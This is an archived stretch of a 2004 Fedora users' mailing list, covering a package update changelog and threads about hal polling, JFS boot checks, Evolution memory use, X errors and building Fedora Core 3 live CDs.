changes, conflict with firstboot <= 1.3.26 - some minor UI tweaks - remove pool.ntp.org from list of NTP server choices as system-config-date doesn't handle multi-IP machines really well ATM * Fri Sep 17 2004 Nils Philippsen 1.7.8-1 - use pool.ntp.org as first choice of NTP servers (#132787) * Thu Sep 16 2004 Nils Philippsen 1.7.7-2 - buildrequire python * Tue Sep 14 2004 Nils Philippsen 1.7.7-1 - byte-compile python files - first shot at something like an interface for firstboot * Mon Sep 13 2004 Nils Philippsen - get widget sensitivity correct on startup (#132431) * Fri Sep 03 2004 Nils Philippsen 1.7.5-1 - actually display time zone map (#131641) - put NTP stuff into own tab to better accommodate firstboot (#131314) - add accelerators to Date & Time tab * Fri Aug 27 2004 Nils Philippsen 1.7.4-1 - handle multiple servers, broadcastclient (#115148), local time source (#72110) --------------------------------------------------------------------- This update can be downloaded from: http://download.fedora.redhat.com/pub/fedora/linux/core/updates/testing/2/ 6d42525e0305336ce4043ae69d10077f SRPMS/system-config-date-1.7.13-0.fc2.1.src.rpm ab1ee3214319620109886b1d0537ba57 x86_64/system-config-date-1.7.13-0.fc2.1.noarch.rpm ab1ee3214319620109886b1d0537ba57 i386/system-config-date-1.7.13-0.fc2.1.noarch.rpm This update can also be installed with the Update Agent; you can launch the Update Agent with the 'up2date' command. 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Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From shrek-m at gmx.de Mon Nov 29 10:24:17 2004 From: shrek-m at gmx.de (shrek-m at gmx.de) Date: Mon, 29 Nov 2004 11:24:17 +0100 Subject: Booting with Grub In-Reply-To: References: Message-ID: <41AAF8D1.3050004@gmx.de> JERRY WHITMIRE wrote: > FC 3 on first hard drive > Win Xp on second hard drive > FC 3 test 3 on last hard drive > and be able to boot to them from there? > I have never tried this before and am not sure if it will work. yes, it will work $ info grub -- shrek-m From david at fubar.dk Mon Nov 29 14:39:53 2004 From: david at fubar.dk (David Zeuthen) Date: Mon, 29 Nov 2004 09:39:53 -0500 Subject: how to have hal be selective In-Reply-To: <20041129093758.GB8338@devserv.devel.redhat.com> References: <33150.68.92.85.103.1101603591.squirrel@webmail.ec-group.com> <604aa79104112720587d9dae4c@mail.gmail.com> <20041128154558.GA549@devserv.devel.redhat.com> <1101699678.3085.3.camel@davidz> <20041129093758.GB8338@devserv.devel.redhat.com> Message-ID: <1101739193.1685.9.camel@davidz> On Mon, 2004-11-29 at 04:37 -0500, Alan Cox wrote: > On Sun, Nov 28, 2004 at 10:41:17PM -0500, David Zeuthen wrote: > > Remember: when polling on optical drives, hald uses O_EXCL and that > > should make open(2) fail with EBUSY if someone else has opened that > > device O_EXCL - and all cd recording software in the Fedora distribution > > should do that otherwise it's a bug. > > > > So, assuming that hald gets EBUSY on attempting to open with O_EXCL, why > > should that interfere with the hardware at all and thus break them? > > For USB I don't know. That baffles me still. For IDE I can cause it when there > are two devices on the bus because the HAL probe locks the bus talking to > one device and that stalls the CD write on the other. IDE master/slave > operations cannot occur in parallel so it just needs a slow to respond CD > probe and a fairly fast CD writer to run out of buffer. > I can only see this happening when you have two optical drives on the same IDE channel. Because the only IDE devices that hal will poll on are optical drives. So, say that the master is a CD-ROM drive and the slave is a CD-R. Now, cdrecord writes to the slave and hal polls only the master (because hal is locked out by O_EXCL on the slave); shouldn't stalling only occur if the master employs powersaving? I've only seen reports on the stall for laptops (actually only Dell laptops), e.g. I don't think ordinary desktop optical drives uses powersaving? FWIW, I couldn't reproduce it the stall on a desktop system anyway. And I must admit - I would be surprised to see a laptop with two optical drives on the same IDE channel. Oh, well, just speculating. Cheers, David From gslink at one.net Mon Nov 29 15:02:57 2004 From: gslink at one.net (gslink) Date: Mon, 29 Nov 2004 10:02:57 -0500 Subject: /usr has vanished Message-ID: <41AB3A21.5030903@one.net> There is a bug related to this in FC3. If you are root and change group membership from root to something else and then give rw and execute permission to everyone and the directory is a partition then the directory will usually appear empty. If you write anything into that directory before rebooting then the directory is messed up. If you reboot first no harm is done. Is this what happened? From rpjday at mindspring.com Mon Nov 29 15:06:42 2004 From: rpjday at mindspring.com (Robert P. J. Day) Date: Mon, 29 Nov 2004 10:06:42 -0500 (EST) Subject: /usr has vanished In-Reply-To: <41AB3A21.5030903@one.net> References: <41AB3A21.5030903@one.net> Message-ID: On Mon, 29 Nov 2004, gslink wrote: > There is a bug related to this in FC3. If you are root and change > group membership from root to something else and then give rw and > execute permission to everyone and the directory is a partition then > the directory will usually appear empty. If you write anything into > that directory before rebooting then the directory is messed up. > If you reboot first no harm is done. Is this what happened? hmmm ... is there a bugzilla entry for this that you can point at? rday From alan at redhat.com Mon Nov 29 15:28:24 2004 From: alan at redhat.com (Alan Cox) Date: Mon, 29 Nov 2004 10:28:24 -0500 Subject: how to have hal be selective In-Reply-To: <1101739193.1685.9.camel@davidz> References: <33150.68.92.85.103.1101603591.squirrel@webmail.ec-group.com> <604aa79104112720587d9dae4c@mail.gmail.com> <20041128154558.GA549@devserv.devel.redhat.com> <1101699678.3085.3.camel@davidz> <20041129093758.GB8338@devserv.devel.redhat.com> <1101739193.1685.9.camel@davidz> Message-ID: <20041129152824.GE9987@devserv.devel.redhat.com> On Mon, Nov 29, 2004 at 09:39:53AM -0500, David Zeuthen wrote: > So, say that the master is a CD-ROM drive and the slave is a CD-R. Now, > cdrecord writes to the slave and hal polls only the master (because hal > is locked out by O_EXCL on the slave); shouldn't stalling only occur if > the master employs powersaving? No. If you've just changed the media then it will spin up, scan the TOC and take time to respond. Its a corner case and its a strongly ill advised configuration > I've only seen reports on the stall for laptops (actually only Dell > laptops), e.g. I don't think ordinary desktop optical drives uses > powersaving? FWIW, I couldn't reproduce it the stall on a desktop system > anyway. And I must admit - I would be surprised to see a laptop with two > optical drives on the same IDE channel. All drives have some internal power management, how they respond to the OS isnt really defined providing they do respond. Again the dell one is a weird drive From nsilva-list at aoi.atari-source.com Mon Nov 29 16:14:37 2004 From: nsilva-list at aoi.atari-source.com (Noah Silva [Mailing list]) Date: Mon, 29 Nov 2004 11:14:37 -0500 (EST) Subject: FC 3 issues Message-ID: Several separate topics: I have two machine, one running FC3 stable (upgrades since RH8) and one running rawhide. Both show some of these issues. a.) Nautilus often doesn't update. I have the "Gamin" package installed, but I don't see a "gam*" daemon running. What could be checked? b.) Sometimes I plug in a device and HAL/GVM auto-mounts it, and pops up a nautilus window, but it never appears on the desktop. Then to unmount it, I have to use the command-line. (It also doesn't show up under "computer" in gnome). c.) Multimedia keys don't seem to work right. If I don't run acme, they don't work. If I run acme, it says "another application is using the keyboard" or something similar. I though acme was replaced (at least I remember the control panel UI changing.) d.) I saw in FC3T3 a nice wireless applet. That seems gone from the FC3 release. Someone told me it was merged into the "network" applet, and in fact I saw a nice screen-shot in a review of FC3 of this network applet, but the one I have doesn't have the features of the one in the screen-shot. Am I just confused or...? (The one I saw had a drop-down list of networks, etc.) ----------- FC2 -> FC3 Upgrade issues: 1. Vino doesn't get installed. (on 3 systems so far). 2. The new IME system UI (gimlet) doesn't get installed either, but the old one gets erased! (on 2 systems so far). Also the IME help on the fedora site says to add "gimlet" to the panel, but even when installed, the app isn't listed in the applet list as "Gimlet" but something like "Imput Method Editor" (and the package name for yumisn't gimlet either). 3. On one of my friend's machines, the upgrade totally hosed the panel configuration. Thanks, Noah SILVA p.s.: feel free to ignore any of these already in bugzilla, I am looking in there now. Please add anything not in bugzilla, and I will contribute comments to any issue files if I am made aware of the issue #. None of these are high priorities, but I am willing to test any fixes, etc. From nsilva-list at aoi.atari-source.com Mon Nov 29 16:25:27 2004 From: nsilva-list at aoi.atari-source.com (Noah Silva [Mailing list]) Date: Mon, 29 Nov 2004 11:25:27 -0500 (EST) Subject: Features for FC4 In-Reply-To: <1101302168.12254.39.camel@localhost.localdomain> Message-ID: I like the idea of this wish-list, especially since the Fedora.redhat.com seems to never have any list of "planned features" or anything like that. (for that matter it still has the FC3 release schedule up!) I really like the idea of the panel applet to change languages for certain apps in mid-session. For example, I routinely log in in Japanese but use certain apps in English (like Gnucash which croaks in Japanese half the time). I will also add an entry here for a Java VM, since there are stong rumers that IBM will release a complete VM and classes as open source soon. -- noah silva > > Bugzilla it, or add it to the Wishlist at: > http://fedora.linux.duke.edu/wiki/index.cgi/Wishlist From kyrre at solution-forge.net Mon Nov 29 16:22:40 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 29 Nov 2004 17:22:40 +0100 Subject: FC 3 issues In-Reply-To: References: Message-ID: <1101745359.2724.0.camel@kyrre> man, 29.11.2004 kl. 17.14 skrev Noah Silva [Mailing list]: > Several separate topics: > I have two machine, one running FC3 stable (upgrades since RH8) and one > running rawhide. Both show some of these issues. > > a.) Nautilus often doesn't update. I have the "Gamin" package installed, > but I don't see a "gam*" daemon running. What could be checked? > I think there is a gamin bug about this. It is very reproducible if you save something from ex. firefox to desktop... > b.) Sometimes I plug in a device and HAL/GVM auto-mounts it, and pops up a > nautilus window, but it never appears on the desktop. Then to unmount it, > I have to use the command-line. (It also doesn't show up under "computer" > in gnome). > > c.) Multimedia keys don't seem to work right. If I don't run acme, they > don't work. If I run acme, it says "another application is using the > keyboard" or something similar. I though acme was replaced (at least I > remember the control panel UI changing.) > > d.) I saw in FC3T3 a nice wireless applet. That seems gone from the FC3 > release. Someone told me it was merged into the "network" applet, and in > fact I saw a nice screen-shot in a review of FC3 of this network applet, > but the one I have doesn't have the features of the one in the > screen-shot. Am I just confused or...? (The one I saw had a drop-down > list of networks, etc.) > > ----------- > > FC2 -> FC3 Upgrade issues: > 1. Vino doesn't get installed. (on 3 systems so far). > 2. The new IME system UI (gimlet) doesn't get installed either, but the > old one gets erased! (on 2 systems so far). Also the IME help on the > fedora site says to add "gimlet" to the panel, but even when installed, > the app isn't listed in the applet list as "Gimlet" but something like > "Imput Method Editor" (and the package name for yumisn't gimlet either). > 3. On one of my friend's machines, the upgrade totally hosed the panel > configuration. > > Thanks, > Noah SILVA > > p.s.: feel free to ignore any of these already in bugzilla, I am looking > in there now. Please add anything not in bugzilla, and I will contribute > comments to any issue files if I am made aware of the issue #. None of > these are high priorities, but I am willing to test any fixes, etc. From nsilva-list at aoi.atari-source.com Mon Nov 29 16:28:12 2004 From: nsilva-list at aoi.atari-source.com (Noah Silva [Mailing list]) Date: Mon, 29 Nov 2004 11:28:12 -0500 (EST) Subject: JFS support in init scripts? Message-ID: I didn't see this in bugzilla, but then again it may be a "We don't officially support JFS" issue. I have several large JFS partitions andon every fecdora (and in rawhide now) there is an issue that if the machien is uncleanly shut down, I have to mount the drives manually at boot-up. To be clear: JFS doesn't auto-replay journal upon mounting, you have to run fsck.jfs to do that. I added hacks to my rc.local, but that doesn't help anyone else. thanks, noah silva From nsilva-list at aoi.atari-source.com Mon Nov 29 16:32:22 2004 From: nsilva-list at aoi.atari-source.com (Noah Silva [Mailing list]) Date: Mon, 29 Nov 2004 11:32:22 -0500 (EST) Subject: FC 3 issues In-Reply-To: <1101745359.2724.0.camel@kyrre> Message-ID: > man, 29.11.2004 kl. 17.14 skrev Noah Silva [Mailing list]: > > Several separate topics: > > ... > > a.) Nautilus often doesn't update. I have the "Gamin" package installed, > > but I don't see a "gam*" daemon running. What could be checked? > > > I think there is a gamin bug about this. It is very reproducible if you > save something from ex. firefox to desktop... Yes and I have had other issues with firefox too, but how to tell if Gamin is even running. Does it run as a daemon? That was the impression I got from it's development page, thought he FAQ was empty. thanks, Noah SILVA From notting at redhat.com Mon Nov 29 16:31:33 2004 From: notting at redhat.com (Bill Nottingham) Date: Mon, 29 Nov 2004 11:31:33 -0500 Subject: JFS support in init scripts? In-Reply-To: References: Message-ID: <20041129163126.GD32106@nostromo.devel.redhat.com> Noah Silva [Mailing list] (nsilva-list at aoi.atari-source.com) said: > To be clear: > > JFS doesn't auto-replay journal upon mounting, you have to run fsck.jfs to > do that. I added hacks to my rc.local, but that doesn't help anyone else. fsck is called for everything in fstab marked accordingly - is fsck.jfs not returning the same sets of error codeds? Bill From nsilva-list at aoi.atari-source.com Mon Nov 29 16:36:38 2004 From: nsilva-list at aoi.atari-source.com (Noah Silva [Mailing list]) Date: Mon, 29 Nov 2004 11:36:38 -0500 (EST) Subject: More FC3 (and rawhide) issues. Message-ID: Forgot some ... a. I have had performance problems and found some applications using an ENORMOUS amount of memory. Evolution was taking nearly 400mb at one point, and epiphany wasn't much better. I know hot to use top and gnome-system-monitor and restart things, but some people would just wonder why their system gets so unbelievably slow... Restarting them helps fix the problem, at least for a while. I may have a lot of mail, but jeez... I can't be the only one who's noticed this. b. In evolution, in the calendar, the scrolling seems not to work right. It won't scroll until I go 4 or 5 blocks (in the month view) and then it will suddenly jump. Should this be files with Novell or Redhat? This seems to happen not on my rawhide machine. (Also sometimes entries don't update properly until restarting evo.) thanks, Noah SILVA From nsilva-list at aoi.atari-source.com Mon Nov 29 16:38:35 2004 From: nsilva-list at aoi.atari-source.com (Noah Silva [Mailing list]) Date: Mon, 29 Nov 2004 11:38:35 -0500 (EST) Subject: JFS support in init scripts? In-Reply-To: <20041129163126.GD32106@nostromo.devel.redhat.com> Message-ID: > Noah Silva [Mailing list] (nsilva-list at aoi.atari-source.com) said: > > To be clear: > > > > JFS doesn't auto-replay journal upon mounting, you have to run fsck.jfs to > > do that. I added hacks to my rc.local, but that doesn't help anyone else. > > fsck is called for everything in fstab marked accordingly - is fsck.jfs > not returning the same sets of error codeds? Maybe it isn't "marked accordingly"? I probably added those partitons to fstab manually. I don't see any error codes during boot-up, and when I run fsck manually, it just shows something "replaying journal... OK". If they do need to be added to fstab a certain way, maybe we can put a comment in fstab? thanks, Noah SILVA From livelinux at nwst.de Mon Nov 29 16:33:21 2004 From: livelinux at nwst.de (Dirk Westfal) Date: Mon, 29 Nov 2004 17:33:21 +0100 Subject: fedora core 3 base livecd with kde3.3.1, gnome2.8 etc. ... Message-ID: <200411291733.21353.livelinux@nwst.de> Hello, don`t know if someone here is interested, so i keep this short : finished a livecd based on core 3 with kde & gnome, firefox& thunderbird, different laguage profiles (english,german,french,italian), security tools (ethereal,nmap, nessus etc.). Uses gdm as login manager, kde is default desktop. Auto save/restore of user sessions from usb storage in kde - need some help to make this work in gnome ... Also contains fedora network install kernel/initrd.image from boot.iso. Takes ~1-3 minutes to load. Screenshots can be found here : http://www.linux4all.de/livecd/basilisk/1.40/walkthrough/wsimages.htm Readme/Requirements/Download : http://www.linux4all.de/livecd/basilisk/1.40/ Best Regards, Dirk Westfal From livelinux at nwst.de Mon Nov 29 16:50:55 2004 From: livelinux at nwst.de (Dirk Westfal) Date: Mon, 29 Nov 2004 17:50:55 +0100 Subject: livecd using fedora core 3 with kde3.3.1, gnome 2.8 etc Message-ID: <200411291750.55235.livelinux@nwst.de> Hello, don`t know if someone is interested, so i keep this short: I`ve finished a livecd using fedora core 3 with kde and gnome for the desktops, firefox/thunderbird, openoffice and other applications. Login manager is gdm, default desktop kde, gnome can also be selected. Auto save/restore of user sessions from usb storage (sda1) in kde - need some help to get that working in gnome. Also included is the fedora core 3 network install kernel/initrd from boot.iso (unchanged). Startuptime is ~1-3 Minutes on a 1,5 Ghz Amd/256Mb Ram with 52x ide cdrom drive. Screenshots: http://www.linux4all.de/livecd/basilisk/1.40/walkthrough/wsimages.htm Readme/Requirements/Download http://www.linux4all.de/livecd/basilisk/1.40/index.htm Best Regards, Dirk Westfal From shrek-m at gmx.de Mon Nov 29 16:57:26 2004 From: shrek-m at gmx.de (shrek-m at gmx.de) Date: Mon, 29 Nov 2004 17:57:26 +0100 Subject: FC 3 issues In-Reply-To: References: Message-ID: <41AB54F6.9020503@gmx.de> Noah Silva [Mailing list] wrote: >d.) I saw in FC3T3 a nice wireless applet. That seems gone from the FC3 >release. Someone told me it was merged into the "network" applet, and in >fact I saw a nice screen-shot in a review of FC3 of this network applet, >but the one I have doesn't have the features of the one in the >screen-shot. Am I just confused or...? (The one I saw had a drop-down >list of networks, etc.) > kwifimanager ? $ rpm -qf `which kwifimanager` kdenetwork-3.3.1-1 applications / internet / kwifimanager -- shrek-m From nsilva-list at aoi.atari-source.com Mon Nov 29 17:03:14 2004 From: nsilva-list at aoi.atari-source.com (Noah Silva [Mailing list]) Date: Mon, 29 Nov 2004 12:03:14 -0500 (EST) Subject: FC 3 issues In-Reply-To: <41AB54F6.9020503@gmx.de> Message-ID: > >d.) I saw in FC3T3 a nice wireless applet. That seems gone from the FC3 > >release. Someone told me it was merged into the "network" applet, and in > ... > >screen-shot. Am I just confused or...? (The one I saw had a drop-down > >list of networks, etc.) > > > > kwifimanager ? > > $ rpm -qf `which kwifimanager` > kdenetwork-3.3.1-1 > > applications / internet / kwifimanager It's possible, but I was thinking about Gnome (as it's the default desktop). There used to be a "Wi-fi" applet, but it seemed to disappear between FC3T3 and FC3 final. As I said, there is a screenshot of something in a review of FC3 that looked like the "Network Monitor" and the Wifi applet rolled into one... but I don't have it on any machine I have installed... thanks, noah silva From surak at casa.surak.eti.br Mon Nov 29 16:11:58 2004 From: surak at casa.surak.eti.br (Alexandre Strube) Date: Mon, 29 Nov 2004 14:11:58 -0200 Subject: fedora core 3 base livecd with kde3.3.1, gnome2.8 etc. ... In-Reply-To: <200411291733.21353.livelinux@nwst.de> References: <200411291733.21353.livelinux@nwst.de> Message-ID: <1101744718.28711.53.camel@preview> Em Seg, 2004-11-29 ?s 14:33, Dirk Westfal escreveu: > Hello, > > don`t know if someone here is interested, so i keep this short : > > finished a livecd based on core 3 with kde & gnome, firefox& thunderbird, > different laguage profiles (english,german,french,italian), security tools > (ethereal,nmap, nessus etc.). Uses gdm as login manager, kde is default > desktop. Auto save/restore of user sessions from usb storage in kde - need > some help to make this work in gnome ... A gnome-only version would be lovely ;-) Is there any documentation about getting a fedora and turning it into a bootable cd? From ufo at linux.net.mk Mon Nov 29 17:49:15 2004 From: ufo at linux.net.mk (Arangel Angov) Date: Mon, 29 Nov 2004 18:49:15 +0100 Subject: livecd using fedora core 3 with kde3.3.1, gnome 2.8 etc In-Reply-To: <200411291750.55235.livelinux@nwst.de> References: <200411291750.55235.livelinux@nwst.de> Message-ID: <41AB611B.5080208@linux.net.mk> Dirk Westfal wrote: >don`t know if someone is interested, so i keep this short: > >I`ve finished a livecd using fedora core 3 with kde and gnome for the >desktops, firefox/thunderbird, openoffice and other applications. >Login manager is gdm, default desktop kde, gnome can also be selected. > I'm very interested in this. I wanted to make a fedora 2 live cd for a few months now. The problem is, there is no proper documentation and all the scripts for making live cd's are buggy or not working. How did you do it? Any good documentation? I would appreciate some more info on this. Thanks and keep up the good work! Arangel From bavinic at comcast.net Mon Nov 29 18:08:44 2004 From: bavinic at comcast.net (Jim Martin) Date: Mon, 29 Nov 2004 13:08:44 -0500 Subject: livecd using fedora core 3 with kde3.3.1, gnome 2.8 etc In-Reply-To: <41AB611B.5080208@linux.net.mk> References: <200411291750.55235.livelinux@nwst.de> <41AB611B.5080208@linux.net.mk> Message-ID: <41AB65AC.7050609@comcast.net> Arangel Angov wrote: > Dirk Westfal wrote: > >> don`t know if someone is interested, so i keep this short: >> I`ve finished a livecd using fedora core 3 with kde and gnome for the >> desktops, firefox/thunderbird, openoffice and other applications. >> Login manager is gdm, default desktop kde, gnome can also be selected. > > > I'm very interested in this. I wanted to make a fedora 2 live cd for a > few months now. The problem is, there is no proper documentation and > all the scripts for making live cd's are buggy or not working. How did > you do it? Any good documentation? > > I would appreciate some more info on this. > > Thanks and keep up the good work! > > Arangel > I know the feeling about poor documentation, I have been trying to figure out how to create a scaled down version of FC2 and now 3, all I want is the core Linux files, Xorg and KDE, and I would like to be able to use anaconda to install it. I have no idea where to start, and searching google resulted in me pulling out my hair, and breaking a few dozen pencils. anyone have any advice they would like to share :) please. :) BaVinic From ufo at linux.net.mk Mon Nov 29 18:17:01 2004 From: ufo at linux.net.mk (Arangel Angov) Date: Mon, 29 Nov 2004 19:17:01 +0100 Subject: livecd using fedora core 3 with kde3.3.1, gnome 2.8 etc In-Reply-To: <41AB65AC.7050609@comcast.net> References: <200411291750.55235.livelinux@nwst.de> <41AB611B.5080208@linux.net.mk> <41AB65AC.7050609@comcast.net> Message-ID: <41AB679D.4060906@linux.net.mk> Jim Martin wrote: > . I have no idea where to start, and searching google resulted in me > pulling out my hair, and breaking a few dozen pencils I feel your pain. :) Arangel From vadim at overture.com Mon Nov 29 18:17:00 2004 From: vadim at overture.com (Vadim) Date: Mon, 29 Nov 2004 10:17:00 -0800 Subject: X server problems? Message-ID: <1101752220.4666.17.camel@localhost.localdomain> Not sure whether this belongs in this forum, or if any of you have noticed this or not, but: I'm running FC3 on my laptop. We run Oracle on RH AS 2.1 and RH ES 3.0. We also use ocfs for storage. When I try to run an ocfstool on the server, which is a graphic ocfs configuration tool, I get the window, but clicking on any meny items crashes the windows and causes the following errors on client: sh-2.05# rpm -qa|grep ocfs ocfs-support-1.0.10-1 ocfs-tools-1.0.10-1 ocfs-2.4.9-e-enterprise-1.0.11-1 sh-2.05# ocfstool Gdk-ERROR **: BadWindow (invalid Window parameter) serial 947 error_code 3 request_code 38 minor_code 0 Gdk-ERROR **: BadAccess (attempt to access private resource denied) serial 948 error_code 10 request_code 102 minor_code 0 Running same tool on my FC2 worked fine. Running it on my RH8 desktop also works fine. Similarly, I can launch xterm to my FC3 form the same host and that will work fine as well. Tried xedit - works fine. Looked through the web - nothing. Any ideas? -V -------------- next part -------------- An HTML attachment was scrubbed... URL: From skvidal at phy.duke.edu Mon Nov 29 18:19:56 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Mon, 29 Nov 2004 13:19:56 -0500 Subject: livecd using fedora core 3 with kde3.3.1, gnome 2.8 etc In-Reply-To: <41AB65AC.7050609@comcast.net> References: <200411291750.55235.livelinux@nwst.de> <41AB611B.5080208@linux.net.mk> <41AB65AC.7050609@comcast.net> Message-ID: <1101752396.27383.127.camel@opus.phy.duke.edu> > > > I know the feeling about poor documentation, I have been trying to > figure out how to create a scaled down version of FC2 and now 3, all I > want is the core Linux files, Xorg and KDE, and I would like to be able > to use anaconda to install it. I have no idea where to start, and > searching google resulted in me pulling out my hair, and breaking a few > dozen pencils. anyone have any advice they would like to share :) please. > Why not just use kickstart? -sv From bavinic at comcast.net Mon Nov 29 18:31:44 2004 From: bavinic at comcast.net (Jim Martin) Date: Mon, 29 Nov 2004 13:31:44 -0500 Subject: livecd using fedora core 3 with kde3.3.1, gnome 2.8 etc In-Reply-To: <1101752396.27383.127.camel@opus.phy.duke.edu> References: <200411291750.55235.livelinux@nwst.de> <41AB611B.5080208@linux.net.mk> <41AB65AC.7050609@comcast.net> <1101752396.27383.127.camel@opus.phy.duke.edu> Message-ID: <41AB6B10.4080903@comcast.net> seth vidal wrote: >>I know the feeling about poor documentation, I have been trying to >>figure out how to create a scaled down version of FC2 and now 3, all I >>want is the core Linux files, Xorg and KDE, and I would like to be able >>to use anaconda to install it. I have no idea where to start, and >>searching google resulted in me pulling out my hair, and breaking a few >>dozen pencils. anyone have any advice they would like to share :) please. >> >> >> > >Why not just use kickstart? > >-sv > > > > Kickstart has a lot of nice features, but the idea here is to create an installable boot cd, that i can give to friends to install FC from 1 cd, not 4. but I will continue to read up on kickstart , thanks Seth. From shrek-m at gmx.de Mon Nov 29 18:40:57 2004 From: shrek-m at gmx.de (shrek-m at gmx.de) Date: Mon, 29 Nov 2004 19:40:57 +0100 Subject: livecd using fedora core 3 with kde3.3.1, gnome 2.8 etc In-Reply-To: <200411291750.55235.livelinux@nwst.de> References: <200411291750.55235.livelinux@nwst.de> Message-ID: <41AB6D39.1040800@gmx.de> Dirk Westfal wrote: >don`t know if someone is interested, so i keep this short: > >I`ve finished a livecd using fedora core 3 with kde and gnome for the >desktops, firefox/thunderbird, openoffice and other applications. >Login manager is gdm, default desktop kde, gnome can also be selected. > a nice new fedora project ;-) https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=119308 -- shrek-m From kms at passback.co.uk Mon Nov 29 19:08:42 2004 From: kms at passback.co.uk (Keith Sharp) Date: Mon, 29 Nov 2004 19:08:42 +0000 Subject: More FC3 (and rawhide) issues. In-Reply-To: References: Message-ID: <1101755323.20276.42.camel@animal> On Mon, 2004-11-29 at 11:36 -0500, Noah Silva [Mailing list] wrote: > Forgot some ... > > a. I have had performance problems and found some applications using an > ENORMOUS amount of memory. Evolution was taking nearly 400mb at one > point, and epiphany wasn't much better. I know hot to use top and > gnome-system-monitor and restart things, but some people would just wonder > why their system gets so unbelievably slow... Restarting them helps fix > the problem, at least for a while. I may have a lot of mail, but jeez... > I can't be the only one who's noticed this. I see this with the out of date version of Evolution I am running (evolution-1.5.93-2) on an FC2 system: PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 20276 kms 16 0 330m 135m 34m S 0.0 35.9 40:43.51 evolution I will be upgrading to FC3 soon, and I hope that will reducing things. The memory usage appears to grow with time, and is directly related to the number of messages per folder on my remote IMAP server (Dovecot on another FC2 system). > b. In evolution, in the calendar, the scrolling seems not to work right. > It won't scroll until I go 4 or 5 blocks (in the month view) and then it > will suddenly jump. Should this be files with Novell or Redhat? This > seems to happen not on my rawhide machine. (Also sometimes entries don't > update properly until restarting evo.) Again, I see this with my 1.5.x evolution, but on my laptop (FC2 with evolution-2.0.1-2) the calendar works much better, but I still get the odd scrolling problem, like you describe, in the month view. Dave Malcolm should be able to let you know where to raise the bugs. When you do create bugs, please let me know and I'll add my experiences. Keith. From geoff at direcway.com Mon Nov 29 19:09:51 2004 From: geoff at direcway.com (Geoffrey Leach) Date: Mon, 29 Nov 2004 19:09:51 +0000 Subject: livecd using fedora core 3 with kde3.3.1, gnome 2.8 etc In-Reply-To: <200411291750.55235.livelinux@nwst.de> References: <200411291750.55235.livelinux@nwst.de> Message-ID: <1101755391l.4085l.0l@mtranch.mtranch.com> On 11.29 08:50, Dirk Westfal wrote: > I`ve finished a livecd using fedora core 3 with kde and gnome for the > desktops, firefox/thunderbird, openoffice and other applications. > Login manager is gdm, default desktop kde, gnome can also be > selected. Way cool. I'm sure that this will be very useful. If its not too much to ask, perhaps you could do a HowTo? I'll volunteer to do the grunt work if you could provide the raw data. From ufo at linux.net.mk Mon Nov 29 19:12:59 2004 From: ufo at linux.net.mk (Arangel Angov) Date: Mon, 29 Nov 2004 20:12:59 +0100 Subject: livecd using fedora core 3 with kde3.3.1, gnome 2.8 etc In-Reply-To: <1101752396.27383.127.camel@opus.phy.duke.edu> References: <200411291750.55235.livelinux@nwst.de> <41AB611B.5080208@linux.net.mk> <41AB65AC.7050609@comcast.net> <1101752396.27383.127.camel@opus.phy.duke.edu> Message-ID: <41AB74BB.5060105@linux.net.mk> seth vidal wrote: >Why not just use kickstart? > Can't add other packages. No mp3 support, no mplayer or xine. I can't think of all things now but there are some other issues as well. Kickstart just won't do the work. Thanks for the suggestion anyway. From livelinux at nwst.de Mon Nov 29 19:16:30 2004 From: livelinux at nwst.de (Dirk Westfal) Date: Mon, 29 Nov 2004 20:16:30 +0100 Subject: livecd using fedora core 3 with kde3.3.1, gnome 2.8 etc In-Reply-To: <41AB611B.5080208@linux.net.mk> References: <200411291750.55235.livelinux@nwst.de> <41AB611B.5080208@linux.net.mk> Message-ID: <200411292016.30312.livelinux@nwst.de> On Monday 29 November 2004 18:49, Arangel Angov wrote: > Dirk Westfal wrote: ... > I'm very interested in this. I wanted to make a fedora 2 live cd for a > few months now. The problem is, there is no proper documentation and all > the scripts for making live cd's are buggy or not working. How did you > do it? Any good documentation? Well... 'good docu' for the livecd build-process ... that`s a very critical point yet :) I`m trying to create a set of scripts to facilitate the process, but it`s still not very easy to get it right and 'end-user' doable. It starts with package dependencies (it`s quite easy to end up with a 2,8 GB install) and ends with mostly small things (some software that needs write permission in /usr, missing symlinks, changes in system scripts etc.), that can easely prevent a livecd -system from working. I`ve automated most of the stuff using a shellscript that guides throught the build-process in ~11 steps, and eleminated a lot of pitfalls by putting the livecd-specific adjustments into rpm packages (the 'livecd- rpms' - included in the 1.40 cd in /rpms folder). All tools i use are currently included in a 'livecd-devel.tar.gz' in the barebone image - they are working - at least for me - but there are still a lot of loose ends, and it is not 'bullet-proof' enough to turn it loose as single package. My current approach for end-users is to provide a 'basic' image (the 'barebone') as working example that includes just yum and a few other tools that can be 'remastered' into full working system or used as a 'base' for own systems. (document: http://www.linux4all.de/livecd/barebone/customization-1.1.htm ) > I would appreciate some more info on this. perhaps via PM ? > > Thanks and keep up the good work! > > Arangel Thanks a lot! Best Regards, Dirk Westfal From nsilva-list at aoi.atari-source.com Mon Nov 29 19:25:36 2004 From: nsilva-list at aoi.atari-source.com (Noah Silva [Mailing list]) Date: Mon, 29 Nov 2004 14:25:36 -0500 (EST) Subject: More FC3 (and rawhide) issues. In-Reply-To: <1101755323.20276.42.camel@animal> Message-ID: > On Mon, 2004-11-29 at 11:36 -0500, Noah Silva [Mailing list] wrote: > > Forgot some ... > > > > a. I have had performance problems and found some applications using an > > ENORMOUS amount of memory. Evolution was taking nearly 400mb at one > > ... > > I can't be the only one who's noticed this. > > I see this with the out of date version of Evolution I am running > (evolution-1.5.93-2) on an FC2 system: > > PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND > 20276 kms 16 0 330m 135m 34m S 0.0 35.9 40:43.51 evolution > > I will be upgrading to FC3 soon, and I hope that will reducing things. > The memory usage appears to grow with time, and is directly related to > the number of messages per folder on my remote IMAP server (Dovecot on > another FC2 system). This is bad since I have some folders with many many thousands of messages (like the account used for this list). You'd think if I don't even go to a message it wouldn't be saving that much info about it. At any rate, I didn't seem to have this problem with 1.5. I mean... I have 1 GB of ram on this machine, it is kind-of irritating when it goes into a swapping frenzy because... email and web browsing is too much for it!? > > b. In evolution, in the calendar, the scrolling seems not to work right. > > It won't scroll until I go 4 or 5 blocks (in the month view) and then it > > will 